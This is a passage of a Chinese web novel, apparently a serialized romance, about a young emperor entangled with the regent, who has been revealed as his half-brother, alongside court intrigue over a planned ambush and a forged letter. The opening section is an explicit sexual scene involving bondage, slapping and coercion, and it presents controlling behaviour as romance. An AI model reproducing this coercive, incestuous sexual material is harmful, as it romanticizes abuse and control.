他像是回到了在沈衡府上装睡的那一晚,静悄悄的房中黑暗里,两个人的心照不宣。他们两个都知道有人在装睡,但一个装不知道绝口不提,一个必须装下去不能开口。宋南卿还抱有那么一丝希望,如果他不知道呢?如果他不知道自己醒了呢?那么会不会还有一丝转机, 沈衡对宋南卿太过了解,一个眼神一个动作就知道他在想什么,刚刚的躲吻,足以让他发现不对劲的苗头。 宋南卿张开嘴任由眼前人舔过他口腔每一个角落,本以为会让人满意,但却听见沈衡咬着他的嘴唇问:“回应呢?” 热气喷洒在脸上,宋南卿揪住被子,如芒刺背。 没有人可以在知道爱上的人是亲哥哥后还可以镇定自若跟对方接吻。 宋南卿喘着气没做反应,静静坐在那里像是一个不会动的木偶,无声发出反抗。 铜镜里映出两人近在咫尺的距离,沈衡抬起手捋过少年鬓边头发,垂眼轻声问:“后悔了?” “不想只做受宠的乖小孩,非要试试我的爱,不是你自己想要的吗?”沈衡绕着少年潮湿的黑色发尾在手指上卷成圈,声音低沉又暧昧,“半途而废,出尔反尔,你觉得我会给你这个机会吗?” “是我引诱你的吗?是我非要同你一起踏上这条路的吗?我提醒过你很多次吧,但卿卿不是说,不管怎么样都最喜欢先生吗?”沈衡拿指尖刮了刮少年的脸颊,眼底黑的吓人。 宋南卿猛地一抖,睫毛轻颤重复道:“我不知道…我那时候不知道!” “不知道什么?”沈衡偏过头仔细打量着宋南卿的脸,眼神幽深,语气有种诡异的平静,“不管发生什么、不管怎么样都最喜欢先生,不是卿卿说的?是骗我的?” 宋南卿摇头,唇珠红润翘起抖动,“没有,不是,没有骗…” 细细的手腕被攥在一起压到头顶,少年被扑面而来的压迫感弄得不停后撤,垂下的睫毛影子朦胧又灰暗。 雨声未停,天色又暗了一些,黑压压的云几乎要掉下来,房间里也弥漫开潮湿的水汽。 “叮咚”一声,是少年手上的绞丝缠花镯子撞在床围栏上的声音,他仰着头,推拒的两只手臂被举到头顶压在床围壁上,洁白的里衣散开,露出笔直瘦削的锁骨。 轻柔的吻落在脸颊、嘴唇,渐渐向下,宋南卿的喉结被吻住轻舔,他后背紧绷,湿润的嘴唇微微张开,表情迷离了一瞬,在感受到尖尖的牙齿在自己喉结上轻磨后,肩膀朝上耸起,带着恐惧轻声道:“不、别…我错了——” 小巧的喉结被含入口中吮吸,微微的窒息感和正在被捕食的惊惧让宋南卿瞳孔扩散,他小幅度挣扎着,手腕的镯子磕在铁艺床栏上发出清脆悦耳的声响。 “你错在哪儿?”沈衡收回猩红的舌尖,眼睛上抬盯着他。 宋南卿攥了攥手指,急促喘着气道:“我、我…”越着急他越是想不出来,脑子里各种东西在翻飞,但唯独找不出他现在需要的。 沈衡把腰带穿进少年腕上的两个镯子里,另一端扣在高处的围栏上,捏住他的下巴道:“骗我,糊弄我,拒绝我,都是小事,但卿卿不应该故意去淋雨,你的身体比什么都重要。” “对不起……”宋南卿胸廓快速起伏,胳膊被拴在了上方动弹不得,腰身往前挺出一道弧线。 他挣扎了几次都没能挣动一分,只有金属和床栏碰撞的声音,道歉道的非常快速。 “对不起?”沈衡扯住宋南卿的衣带缓缓解开,重复了一遍,“所以真的骗我了。” 足够平静的语调也足够吓人,描金边的细带子散落,白皙的皮肤露出,宋南卿耸着肩膀想遮挡住露出的风光。 语言陷阱他没识破,自己往坑里跳,力道上也根本不敌沈衡,两难之间,他只能摇头无助道:“不是…先生别生气,你先别生气……” 沈衡好脾气地点头,单手揽住他的腰把人往自己身前拉,望着他的眼睛说:“我不想听别生气,我想听卿卿说喜欢我。” 后腰上的力道让宋南卿止不住往前挺身,本就散开的衣带遮挡不住多少风光,他犹豫着张开嘴没能发出声音,红红的耳垂被手指轻轻蹭过,瞬间升起的痒意让他忍不住扭腰,若即若离的触碰最是磨人,痒和麻从耳垂下方传来,他的颈侧起了薄薄一层鸡皮疙瘩,浅浅的血管正在鼓动。 沈衡轻轻摸着嫣红的位置,手指在边缘下压,本就小小一颗的耳垂红的快要滴血,他忽而掐着拧了一圈,怀里少年瞬间发出带着哭腔的叫声。 “呜…喜欢、喜欢——”宋南卿把脸半靠在男人肩膀上,靠近左耳的那半张脸已经染上红霞,他手被捆着挣扎不脱,只能靠在沈衡身上一叠声儿叫道:“喜欢先生,呜喜欢你…” 他几乎把脸贴到了沈衡手臂上,离得越近,耳垂受到的拉扯就会越小,宋南卿讨好地把脸在他手背上轻蹭,水光潋滟的眸子里尽是怯生生的乖巧。 潮湿的黑发凌乱垂在肩膀,有几缕顺着解开的衣领往下蜿蜒,乌黑茂密的发丝散在白色又薄透的里衣上,宋南卿的唇瓣被亲到艳红,巴掌大的脸明明还是清纯的样子,乌发红唇还有湿漉漉的睫毛偏偏给他增添了别样的风情。 他贴在人手臂上,后背还在害怕得瑟缩,却尽力表现出热切的样子说着喜欢你。 沈衡捻了捻手指间又热又红的耳垂,一寸寸放开,能窥探人心的眼睛盯着少年,然后漫不经心指了下自己的嘴唇。 银镯子撞在床栏上的声音清脆悦耳,宋南卿鬓边一缕发丝垂下粘在嘴角,被男人挑开。 他被绑着手臂拴在床上,没办法大幅度动作,只能努力挺起腰去够眼前人的嘴唇。 几根碎发抚过脸庞,宋南卿仰起脖子去贴沈衡的唇,慢慢靠近已经能够感受到对方的鼻息,偏偏在贴上去的前一秒,对方往后撤离了一寸。 宋南卿抿嘴不满地小声“嗯”了下,手指勾在一起搅动,再加了一份力挺起身去接近沈衡的嘴唇。 已经微肿的唇珠终于触碰到了温热的嘴唇,宋南卿伸出舌尖舔了一口,由于脖子往上仰得太过用力,喉结格外明显。 他喉结微动,学着沈衡之前亲他的样子想逐渐加深这个吻,但刚凑近没多久,又被沈衡闪开了。 宋南卿身形不稳,骤然跌落,银镯子在腕子上上下甩动,泠泠作响。 他瞪了沈衡一眼,又扑上去,这次目标不在嘴唇,对着男人突起的喉结吻了上去。 沈衡眸色骤然一暗,手掌捧住少年的脸把人往上抬,一个又一个的吻铺天盖地而来,宋南卿被亲的来不及换气,身子一下下抽动,口水顺着嘴角往下淌,沾湿了肩膀下方的发丝。 他全身心投入这个吻,迫切的深入交流渴望和头皮传来的酥麻愉悦交织在一起,宋南卿身上的衣服带子越来越松,他的手腕一被解开,就迫不及待抱住了沈衡的脖子往人怀里贴去,如雏鸟回巢般,紧紧贴在人身上不放手。 二人发丝倾泻交缠在一起,在昏暗的房间里,锦被被摇乱,床架子吱呀作响,空气中的雨水潮湿逐渐被另一种湿热所代替。 许久,宋南卿枕着沈衡的胳膊靠在人怀里,喉结上的吻痕还未完全消散,抬眼望向他道:“其实我们不该这样,对吗先生?” 这句话,之前他也问过一次,在他们经历生死共患难之后,那时沈衡说对。 但这次沈衡顿了顿,没说话。 “明知道不对,为什么还要纵容我?”宋南卿表情似喜似嗔,说了跟上次同样的话。窗外雨已经停了,但屋子里还是暗的很,他听见沈衡在他耳边道:“我不是纵容你,我是在纵容我自己。” 宋南卿猛地抬头看他,可惜看不清他眼底的感情。 “什么对错之分,我没教过你吗?你是皇帝,说什么是对的,什么就是对的。”沈衡轻轻抚摸着他的脸道。 宋南卿的手腕内侧残留着红痕,被男人的指腹蹭过,激起一片酥麻。他望着沈衡,明明眼前的人还是这张脸丝毫未变,但他却觉得哪里发生了变化。以前沈衡放在明面上跟他讲的是“仁义礼智信”,如何做一个明君,纵使心狠手辣一些也不要紧。 但现在,他仿佛把以往掩藏的东西全都摊开给自己看了。 沈衡眯了眯眼睛道:“你长大了,有些事情需要自己思量。想立后可以立,我不管九王跟你说了什么,但卿卿如果现在想跟我说后悔了,要全身而退,不可能。” 白皙的大腿上遍布痕迹,被温热的手指轻轻抚过,引起少年颤栗抖动,他蜷缩着脚趾想往旁侧挪动,躲避的姿态还没完全展现,就被精准掐住某个位置,反手扇了一巴掌。 “呜——!不要、不啊啊!”宋南卿的关节由于刚刚的激动已经染上一层薄红,他猛地扬起头,疼痛的滋味伴随着隐秘的快慰让刚刚的回忆再一次涌入脑海。 滴滴答答的液体顺着往下流淌,宋南卿瘫在床上膝盖上下弹动,黑色的眼珠上翻,已经几乎看不到瞳仁。 有力的手掌又是一巴掌扇下去,他的叫声梗在喉咙里,眼泪口水齐流,滑过脸颊上粉红的指痕,流淌进锁骨的小窝里。 沈衡拨开少年脸上湿湿的发丝,望着他像是泡在银水汪里的两颗湿漉漉的眼睛,低沉磁性的声音从人心尖上划过。 “你该说的不是不要。”沈衡的指尖挑开少年鬓边发丝,引得宋南卿颤抖想躲,但他不敢躲了,生怕下一个巴掌落下的位置是自己的脸。 他的心脏扑通扑通跳个不停,用还留有指痕的脸蛋蹭了蹭沈衡的手指,黑白分明的眼睛带着湿润的情欲,小声道:“喜欢先生…” 沈衡勾唇,用手背在少年柔软的脸颊处上下轻蹭,指关节掠过颧骨,停留在湿红的眼尾。 “乖。”—— 作者有话说:[黄心] 第59章 第五十九章 哪里都是沈衡 贺西洲带领军队已经出兵突厥, 天气也渐渐冷了下来,赵家在九王的推动之下平反,翻了一大批贾良在世时留下的冤案。 树上的叶子从新鲜的绿色变得金黄, 被风一吹打着旋掉落在地面上, 京城的秋天里,空气中总会有干燥的独特味道, 与夏天的繁茂不同, 路两边的树木多数染上了黄色。 一辆马车停到凤栖楼门口, 宋南卿踩过两级步凳缓缓下来,留香绉的湖蓝色披风披在身上挡住秋风, 远处看波光粼粼的衣物像是把清透见底的湖光穿在了身上。 一转眼大半年过去, 凤栖楼也已经与之前大不相同。在云岫和绿芜的管理之下,从青楼发展成了一所集娱乐歌舞吃喝于一体的高档会所,每个月都能给宋南卿这个老板提供极大的利益。 当然不仅如此, 凤栖楼私下里还发展了一项私密业务, 教京城里那些家世没那么好的女子如何靠钓金龟婿完成身份跃升, 只是这项业务是会员制, 没有大张旗鼓开展。 会员人数从刚开始寥寥无几的几个人, 到现在已经有几十名,从高官贵胄, 到王爷世子,他们的后院中都有凤栖楼培养出来的人。浅显如化妆技术,再到如何跟男人相处, 不管是捞钱还是结婚,这里都有一套定制方案。 渐渐地,那些名门贵女也来取经,但她们来的方式就比较隐蔽了, 所以凤栖楼的保密性做的特别好,以至于现如今很多人都愿意来这个私密性高的地方谈事情、宴请,门槛高又有保障,还总是会定期开展活动,推出一些人们都没见过的新奇玩意。 凤栖楼,已经成为大盛的时尚风向标。 今日宋南卿和九王约在二楼见面,他拎着一袋刚炒好的糖炒栗子进了包厢,披风被春见解下来挂在一旁。 约定好的时间未到,九王还没来,宋南卿坐在桌前拿出一颗栗子开始剥,半天都没剥开,还把里面的果实弄得粉碎。 他抠着栗子里面那层内膜,有些不耐烦。 以往买的糖炒栗子,都是沈衡替他剥好的,他只要吃就行。饱满厚实的栗子肉刚炒出来热气扑鼻,带着蜜糖的香气和甜味,完整的一颗丢进嘴里,牙齿咬碎咀嚼时可以感受到满口的香味和满足。 但他没想到会那么难剥,手指尖都被烫红了,还是得不到以前那么完美的。 宋南卿反手把被弄得坑坑洼洼的栗子丢在桌上,垂着眼生闷气。 包厢内有股清雅的茶香,闻起来能舒缓心神,但尾调带了一丝木质香,又让他想起了沈衡身上的味道。 沈衡,又是沈衡,哪里都是沈衡。 从得知沈衡的真实身份后,一连几天,宋南卿都绕着他走,幸好之前假装吵架他们本来就不能多见,否则他真是不知道怎么办才好了。 他不知道该怎么面对沈衡。 明明一开始,他只是想保命,想让沈衡别杀他,但慢慢的,那些喜欢的话说着说着,连他自己都分不出真假,他究竟是借着演戏的机会表达真情,还是真的在这个过程中慢慢爱上了沈衡,没人知道。 他不知道该怎么面对自己的心,也不知道该怎么面对这段关系,更不知道如果没有沈衡,他的生活会变成什么样。 贾良死后,他在墓园祭拜母亲的时候说过,如果有一天沈衡成了威胁,他不会心软的,但真的到了这一天,他发现自己好像下不了手。 但沈衡,在自己表达出要撤离的迹象后,跟以前大不一样了,完全不像之前般好说话。 今天出宫见九王,还是他求了沈衡好久,保证会在天黑前回宫,并且会把行程一一汇报后,才肯让他单独出来。 他对自己的管控比之前要强上许多,原本松松笼罩在宋南卿头上的大网逐渐收紧,不给他一丝逃离的可能。不见面的每一天宋南卿都得给他写信,见面后如果有一丝不亲昵的迹象,沈衡都会生气。 宋南卿感觉拴在自己身上的绳子越来越紧,原本无形的桎梏渐渐显形,这种温水煮青蛙般的相处模式,他知道,要不他就被牢牢拴住再也离不开沈衡半步,纵使道德不允,纵使万般危险;要不他只能斩断这根绳子。 门被敲了两声,然后朝里推开,九王身姿潇洒,看见宋南卿后倾身行礼,随后坐到了对面的椅子上。 宋南卿闻到他身上很淡的药味,像是膏药,清凉又厚重,但味道并不算明显。 南幸靠在椅子后背上,虽然说天气凉下来,但他穿的着实不薄,绣云纹的袖口挡住半只手,轻咳了几声后道:“天气转凉,陛下也要注意身体,臣昨日晨起没注意添衣,这就病了,身子真是大不如前。” 他嘴角微弯,露出一个自嘲的笑容。 宋南卿点点头,望向斜对面墙上挂着的古画,宽慰了几句注意身体,而后话题转到了今日要谈论的正事上。 “前几日九哥说的事,朕已经决定好了。”宋南卿垂在椅子扶手上的胳膊轻抬,食指指向南幸,“按你的计划进行,秋猎围场朕会减少禁军防范。” 南幸放在桌上的手指收紧,眼睛望向宋南卿道:“奸臣把持朝政,陛下不能立后掌权,以清君侧为名除掉他,于天命于人伦都有交代。” “秋猎围场人马武器众多,趁乱行事出其不意方为上策,但也需要陛下密切配合。” 九王展开一张围场的地形图,把计划细细同宋南卿说清楚,就时机和地点展开详细核对。等一切都完成,说到摄政王死后的事宜安排时,宋南卿余光瞥过那袋冷掉的糖炒栗子,语气平静: “事成之后,朕答应你的,分毫都不会变。” 二人举起茶杯相碰,清脆的响声在房间里回荡。 “突厥战事传来捷报,想必西洲不日便能班师回朝,到时我们可以一聚。”宋南卿把杯子搁下,余光看见九王的手似有不稳,杯里的茶水洒出来一些,但他很快就移开了视线,装作什么都没发现的样子。 九王点头道:“西洲这些年磨练得越发稳重,士兵们在他的带领下一定能够胜利,到时候内忧外患一并出去,陛下可安心举办加冠礼。” “是啊,到时候还得请九哥替朕加冠,旁的人,朕都不放心。” 宋南卿跟他虚与委蛇言笑晏晏,二人一派同心之态,相聊甚欢。 ———— 凤栖楼另一头,绿芜没了戴罪之身,日子过得比之前惬意许多,家里生病的长辈在李氏医馆的医治下逐渐康复。这日她和云岫正在凤栖楼煮茶,顺便盘算新推出的小吃套餐,一颗花生米还没放进嘴里,门就被一把推开。 宋南卿迈着“咚咚咚”的步子跑了进来,厚底靴子踩在地上带着怒气,他提起衣摆一屁股坐到了小几前,衣领上的墨竹栩栩如生,的新制外袍十分合身,气质端华出尘。 但他垮着一张脸一进来就兴致不高,甩了甩袖子一副很不开心的样子。 云岫和绿芜对视一眼,打量着宋南卿问:“怎么了少爷,谁那么大胆子敢给你气受了?” 宋南卿抱着胳膊低头沉默,伸手捞起面前碟子里的点心放入嘴里,玉米的清香和甜味与酥脆的口感结合的恰到好处,让人吃了一粒还想再吃一粒。 他今天头发半挽着,脸上带着不明显的疲态,尖尖的脸一半被垂下的发丝遮挡,睫毛下投射出一片阴影。 “今天你家先生没来?他竟然同意让你一个人出来,以前我跟你单独说话超过一刻钟他都提防着。”云岫瞥了眼他的脸,“什么时候来的,早知道我们应下去接你。” 宋南卿嘴里鼓鼓囊囊嚼了好久才开口:“没来,以后可能也不来了。” 绿芜皱了下眉,放下手中的瓜子问:“你们吵架了?” 宋南卿把喝完水的茶杯往桌上一放,道:“没有,对了,我今日来是想让绿芜帮我化妆的。” “还要去见九王啊?那么久了,你捞着了吗?”绿芜从抽屉里翻出化妆工具,着手在宋南卿脸上涂涂抹抹。 宋南卿原本已经闭上了眼睛,听到这话睁开一只看她,不明所以问道:“捞什么?” 云岫在旁边咳了一声,“这我就想说两句了啊,虽然九王是王爷,能给你的肯定比你家先生多,但他那种人,肯定不会真心的,如果为了这些你就跟你家先生断掉,我觉得有些划不来。” “就是啊,你又不缺钱,虽然说九王他替我家平反了我该感激他,不过这件事说到底也是皇上的命令,而且是你为了我忍辱负重去让九王帮我的,我的心肯定是向着你的,九王这个人,不适合你。”绿芜拿刷子在他眼皮上轻扫。 宋南卿皱着眉毛表情有一瞬间扭曲,“你们想到哪儿去了,跟九王没关系。”他低下头,指尖插入果盘的双耳孔里。 “我和先生,有不能在一起的理由。” “哎等等,你很了解九王吗?为什么说他不适合我。”宋南卿问。 绿芜道:“前几日,九王又派人来我家找过我,还试探了好几次你的身份,幸亏你家先生提前帮我们假造了族谱,又去官府登记过,否则早就露馅儿了。就九王这种小心眼又精明的,跟他在一起你就等着受吧。” 宋南卿神情微滞,手指抠着果盘,“什么时候的事?” “大概五日前吧。”绿芜让他闭上眼睛,胭脂涂在脸上铺开,“说实话沈先生还是挺费心的,你在意的事他都上心,上次来还去后厨学了炸土豆条和你说过好吃的点心,那么热的后厨他一待就是一个时辰,后来有做给你吃吗?” 宋南卿抿了下唇,把口脂抿开,不知为何舌根有种苦涩的滋味。可能有做吧,但自从他知道沈衡是先帝之子,就没再打开过对方送过来的东西。 旁的人没有设身处地经历过,不会懂一个皇子对皇位的渴望,他们可以放弃一切孤注一掷,父亲都可以说杀就杀,亲兄弟更是互为刀俎鱼肉你死我活。 所以在得知沈衡身份这个消息的时候,宋南卿很恐惧,他从小就见识过亲兄弟们彼此恨到骨子里的样子,所以害怕占了上风。 “有什么不能在一起的理由,家里人不同意?之前你说你们从小就认识,他一直教你读书到长大吗?半师半友确实家里人会对他有偏见。”绿芜在改他的唇形,细致描绘一笔一划都有定数。 宋南卿沉默,然后突然说:“家里人都死了,没人不同意。”只是我释怀不了罢了。 绿芜捏着刷子僵住片刻,仔细打量了下少年的表情,小心翼翼开口:“抱歉,我不知道。” “我也没跟你说过,而且他们又不是你杀的,道什么歉。”宋南卿嘴唇微动无所畏道。 绿芜确实不知道他的身份,只是觉得他有钱有势,想干什么就能做到什么,一看就是家里宠着长大的孩子,没想到会是这种情况。结合之前了解到的信息,她脑补出了一场宋南卿家中人早亡,但身份贵重,小小年纪继承了地位和遗产,没人看顾只能依赖家中先生沈衡的背景。 但话头都到这儿了,她不好再插嘴,毕竟感情的事,如人饮水冷暖自知。 头发做好之后收了个尾,绿芜把宋南卿带过来的桃花簪斜斜插入发髻中,缓声道:“不管怎么样,只要你想好了,我们都支持你。” 云岫在一旁点头:“凤栖楼现在做的那么大,你可是老板,这里永远都是你的家。” 宋南卿垂下睫毛,被刷卷翘的鸦翅般睫羽轻颤,他穿上外套,对着二人轻轻点了点头—— 作者有话说:[玫瑰] 第60章 第六十章 爱是秩序外的一瞬间 九王府, 长廊蜿蜒,深红色的悬梁挂着被风吹得飘飘荡荡的灯。宋南卿穿着月白色衣袍提裙上台阶,路过假山之时, 听见侧妃身边的两个侍女在讨论他, 说他妖艳狐媚迷惑了王爷,已经许久不来她们主子屋里。 “不过也是奇怪, 王爷不来之后, 侧妃娘娘的病也好了, 胃口也好了许多。” “说的也是,不过侧妃娘娘却不那么想, 原本都快要做王妃了, 结果半截杀出来个程咬金,我听说啊…”那名侍女倾身挡住嘴巴说道,“她, 是嫁过人的, 王爷实在喜欢, 她和她夫君和离了。” 另一名侍女听了面露惊讶, “竟然有这事, 那她真是有手段,怪不得主子斗不过。” “是啊, 眼见王爷和属下议事她都能随意进出了,主子的王妃梦看来要破碎了。” “算了,主子身体比之前好就是幸事了, 上次晕倒可把我吓死了,留得青山在不怕没柴烧,王爷的恩宠再重要也没有命重要。” 后半段她们聊了什么,没进入宋南卿的耳朵, 他已经离开假山朝九王的议事厅走去。 九王身边那些原来的亲兵随从,在他重新出世之后又围在了他周围,这次出兵突厥,贺西洲在前方,九王在后,他们联合突厥方面的人,从军事中大捞了一笔,但图谋远不止于此,他们的最终目的是和突厥人合作,一举拉宋南卿下台,夺取皇位。 此时南幸正和门客商量秋猎当日的计划,看见宋南卿来,话语声渐止。 南幸看见徐徐走来的美人,伸出手来拍了拍自己旁边的位置,宋南卿自然而然落座,接过九王递来的茶,韵味十足的眼睛扫过他,道:“又要打仗?” “没有的事,上次爱妃不是说不想本王去,这不是让西洲去前线了,我在家里陪你吗?” 先王妃就是死在他去突厥战场前线之时,他当初临行前也是百般受王妃劝阻,宋南卿一言一行都宛如王妃在世,这让九王更加信了大师的话。 之前仪式失败是载体不对,眼前这个女人才是王妃复生的最佳容器,她已经越来越像了,等到月圆之时启动仪式,这具身体就会完全被王妃占有。 在这之前,须得让她对自己毫无防备,只有面对月神时诚心诚意,仪式才会圆满完成。 但堂下坐着的门客却不知晓这些内情,只觉得王爷对这个女人格外上心,这些关乎军情大事的讨论场合也不避讳,甚至为了她开心甘愿不去战场,都对宋南卿高看了一眼。 温凉的手指摸上宋南卿的手背,一瞬间,不适感爬满了后背。 都是假装喜欢,都是钓人上钩,在沈衡那里,和在九王这里,是完全不同的感受。 喜欢和爱是没办法衡量的东西,有些人在见第一面时就知道自己喜欢对方,这是一见钟情。但日久生情不是这样的,太长时间的陪伴和太细水长流的接触交织在一起,会让人失去对喜欢的感受,因为太熟悉,所以没办法说到底是在哪一刻爱上对方,甚至会不知道自己这到底算不算爱。 但在九王这里,宋南卿得到了深刻的对比。 如果对对方没有好感和情谊,肢体接触和亲密耳语都是折磨,他没办法从中得到片刻舒适,只会觉得屈辱,同样都是哥哥,同样都是名义上的对手,同样都是这些手段,面对的人不同,感受也大不相同。 情爱一事说简单也简单,说难也难,想和对方相处,想和对方亲近,看见他的时候满心欢心,看不见的时候常觉思念,早在理智还未意识到的时候,心已经留在了对方身上。 宋南卿是皇帝,他从小接受的是秩序礼法,天子无情。 情爱对平常人来讲是幸事,是不可多得的际遇,但对皇帝来讲,是毒药,是致命弱点。 他爱看爱情话本子,其实是因为他不能像书中角色一样敢爱敢恨,君王的每一丝爱恨都会牵扯进太多的人与物。先帝好细腰,便有无数女子为了形体瘦美活活把自己饿死。 宋南卿怕很多东西,怕死,更怕自己无能为力眼睁睁看着自己去死,事情脱离自己的掌控,就是无能为力的开始。 北园寺李家村回来,他为了沈衡不要命救自己生气,其实不是在气沈衡,而是在气自己。 他真的在那一晚被打动,心底无法抑制的感情在蔓延,他控制不住自己的心。明明只是在设计沈衡而已,不是说感情无用吗?怎么沈衡你这个老师却先违反了规则?这要我怎么办。 温泉池中,他为了沈衡不答应自己而生气,其实也是气自己。沈衡连舍命救你都做得出,还是不说喜欢你,你一个被救的,为什么会有那么抑制不住的感动,为什么那么想听那句喜欢你。 得知沈衡的皇子身份,他发疯、想逃,想控诉眼前这个人,但令人悲痛的是即使知道对方和自己的血缘关系,他还是没办法放下。 他为了沈衡可能明知道真相却没有告诉自己生气,其实还是在气自己。纲常伦理、天地人伦,这些作为君王的立身之本,竟然都没有沈衡重要。 纵使再不该,再危险,纵使沈衡真的就是可能怀有想要杀他的心,也真的有了可以取代他的可能,他还是迈不出沈衡的牢笼。 爱是什么?他当初看了那么多话本子也不懂,当他真的明白那日那本书,读懂为什么爱一个人和恨一个人可以在同一个人身上出现时,他已经深陷情爱旋涡,逃脱不得。 爱是秩序外的一瞬间,是明知山有虎,偏向虎山行。 爱是理智外的一瞬间,是明知不该这样,却无法不这样。 爱是利益外的一瞬间,是明知于我有损,却心向往之。 宋南卿气的是自己的优柔寡断不果敢,耽于情流连于爱。一个明智的皇帝,不会让牵扯自己心神影响自己理智的人存在,所以他有多喜欢沈衡,就有多恨沈衡,每当发现自己更陷进去一分,对沈衡的恨便会更深一分。 这份感情,在发现血缘关系的时候达到了峰值,无法斩断的血缘横在他们两个之间,但他不想放手。 他之前还能劝说自己,你没有错,你没有爱上他,这都是为了保命,都是计划之内的事情。 但九王的出现打破了他的自欺欺人。 真正的保命计划忍辱负重是什么样子的,他在面对南幸时才知道。不是每个人都和沈衡一样,会亲手为他煲汤、梳头、关心他的身体状况和心理状况,不是每个人都在意他的想法。 靠美色获取东西的时候是下位者,别人是会不屑和轻视的,并且相应的,他还要付出一些东西才能得到回报。 摸进袖子里的手指上移,宋南卿按住他的手对九王低声道:“那么多人在,而且王爷可是跟我说好了,等娶我进王府才能。" 九王面上露出了一丝不快,但很快被他掩盖,“等十五月圆之夜,本王就立你为妃。” 宋南卿不动声色扫过屋里坐着的人,露出一个微笑,又说了几句好听的才让九王展眉。 秋风一起,天干物燥,九王府靠近大门的粮食储存处突然起了火,众人乱成一团慌忙救火,宋南卿找准了时机,面上冷静不带半分慌乱,起身快速隐入九王寝殿。 寝殿是私人重地,一般不会放人进来,门口的侍卫和侍女看见宋南卿的身影,微愣片刻,但还是伸出手阻挡。 他们都知道眼前这个人要成为王妃了,但王爷没有下命令,他们不敢放人进去。 宋南卿面上露出落落大方的笑容,轻声道:“粮仓那边起火了,王爷让我来寝殿看看有没有被波及到,毕竟大喜的日子快到了,可不能有半点差池。” 一部分侍卫被调去了救火,这边人不算多,一个侍女上前大着胆子跟宋南卿搭话,说她就没见过他家王爷对谁那么好过,一通马屁拍上去,宋南卿笑着接受,脚下一个没踩稳,被石子绊了一下就要摔倒。 这底下可都是石子路,娇贵的未来王妃在他们面前摔倒的话可不是闹着玩的,而且侧妃娘娘就是因为上次晕过去之后,就再也没得过宠。 侍卫婢女慌忙上前查看宋南卿的情况,她被身前的婢女扶住胳膊,总算稳下了身形。 寝宫大门微动,一个晃神之间又恢复如常。 宋南卿笑着问那名婢女叫什么名字,交谈了一些王爷平日的喜好,突然寝宫里传来一声异响。 原本还说笑的侍卫瞬间握着刀朝寝殿内移动去。 宋南卿眼睛放大了一瞬,心脏提到嗓子眼,几乎屏住了呼吸。 “喵——”一只雪白的猫抬着爪子从寝宫大门的缝隙里挤了出来,伸展开四肢在太阳底下沐浴光照。 宋南卿小心吐出一口气,原本攥紧的手指慢慢松开。 “娘娘,这是小世子养的猫,叫雪球。”一旁侍女解释道,随后一个看起来四五岁的孩子从寝殿走了出来,抱起地上的猫左右看了看人,“雪球乱跑,刚刚把里面的箱子撞倒了。” “你就是父王要新娶的王妃?我的母亲可不是什么人都能做的。”世子抱着猫轻摸,眼睛上移瞥了一眼宋南卿。 “喵——”雪球伸出爪子朝宋南卿的方向伸去,一副亲人的姿态。 宋南卿看着浑身雪白的小猫朝自己伸手的样子,忍不住也把手伸过去,掌心被柔软的肉垫轻轻搭上,顿时心中一软。 他听到了远处巷子里一声熟悉的鸟叫,彻底放下心来,伸手轻轻摸了摸雪球的头,“好可爱…” “雪球竟然亲近娘娘,以前看见我们不是跑开就是挥爪子,整个王府里只跟世子最亲近。”一旁的人说道。 小世子抿了抿嘴,不高兴地握着雪球的爪子挪走,转身离开。 “娘娘,您别误会,世子不是不喜欢您,只是雪球是先王妃送的,对世子来说寓意不同,所以他一向不肯让别人亲近雪球。” 宋南卿摇了摇头,他又不是真的要来当王妃,这些事情他分毫都不在意。 日光慢慢暗了下去,九王府的一间书房点上了灯。南幸握着小世子的手在宣纸上写字,不经意问道:“今日去父王寝殿玩了?听说还遇到她,你觉得她怎么样?” 世子想起宋南卿摸雪球时带着笑意的温柔神情,还有雪球对她的亲近。 父王说她就是母亲,他原本不信,但雪球对除了自己之外的人还是第一次示好,所以小世子心中不免有了波动。 “我、我不知道。” 南幸点点头,“她进去寝殿和你玩了?” “没有,雪球好像很喜欢她,是雪球跑进去了,我自己进去找它的。” ———— 同一时间,乾清宫。 宋南卿换了身舒适的衣裳坐在桌前,左手拿笔,温暖的灯光照亮了书桌上的一大块区域。 上面的信纸上都是同一个人的字迹,笔走龙蛇放浪形骸。 【本王察觉队伍中有人二心,特写信给心腹之人,秋猎之时发动攻击,一举灭掉皇帝和摄政王二人,动作要快,以摔箭矢为号。为防有心之人察觉,机密切勿外传。】 魏进拿出刚刚拓好的印章,送到宋南卿手边。 他今日潜入九王寝宫拓好的私人印章,很快就派上了用场。 鲜红的印缀在信纸下方,九王的独特笔迹和私人印章双重加持,再加上秘不外传这一警告,通过信鸽飞往今日宋南卿见过的每一个九王下属家中。 60-70 第61章 第六十一章 不需要你让着我 夜色渐深, 宋南卿披着外衣看秋猎围场的地形图,他仰头活动了下肩颈。 窗外繁星点点,一颗又一颗或明或暗, 肉眼看起来很近的距离, 其实这些星星彼此之间离了十万八千里。 门被敲响,春见端着托盘进来, 上面放着一个保温食盒, 香气从缝隙中漏出来, 一下子就让宋南卿觉得肚子饿了。 “陛下,夜深了, 歇一歇吧。”春见把东西放在桌上, 没有打开食盒的盖子,“摄政王派人送来了山药羊肉汤,说入秋之后天凉, 陛下要多注意穿衣, 羊汤温热驱寒, 滋补上佳, 您要尝尝吗?” 宋南卿垂眼望着那个食盒, 沉默许久。 春见轻轻叹了一口气,以为陛下又要像之前一样让他拿走扔掉, 已经端起托盘准备走了,没想到听到宋南卿道:“放那儿吧。” 春见忙道:“是。” 自从摄政王上次和陛下吵架,已经许久不来了, 偶尔送来的餐食,陛下也一概不吃。御膳房每天变着花样做菜,可惜都不太对陛下胃口,眼见入秋之后日渐消瘦, 又要考虑朝政,又要练字读书,摄政王不来,乾清宫冷清的很,没有欢声笑语,只有陛下夜夜坐在桌前思考的身影。 灯花爆掉,在烛台上发出声响,宋南卿透过窗子看外面的夜色,窗台上已经结了薄薄一层霜。 他打开食盒,热气腾腾的羊肉汤煮到雪白,香气扑鼻,勺子放下去,山药块瞬间就软烂。 鲜甜的汤混合胡椒的麻,喝了两口就微微出汗,味蕾受到极大的抚慰,他能尝出这是沈衡的手艺。 其实如果沈衡再投机取巧一些,完全可以做梅子排骨这道充满他们回忆的菜送来,让宋南卿好好想想,到底是谁一路扶持你坐稳皇位,是谁在小时候救你于危难之间,帮你一比一还原小时候生日时母亲给你吃的那碗梅子排骨。 但他没有。 他没有逼迫宋南卿接受,也没有用别的东西要挟,只是这样,只是用温和的方式告诉宋南卿,我一直都在。 一碗汤快见底,宋南卿不想去追究为什么沈衡知道他现在还没睡,也不想管那些猜忌争端,他现在只想好好睡一觉。 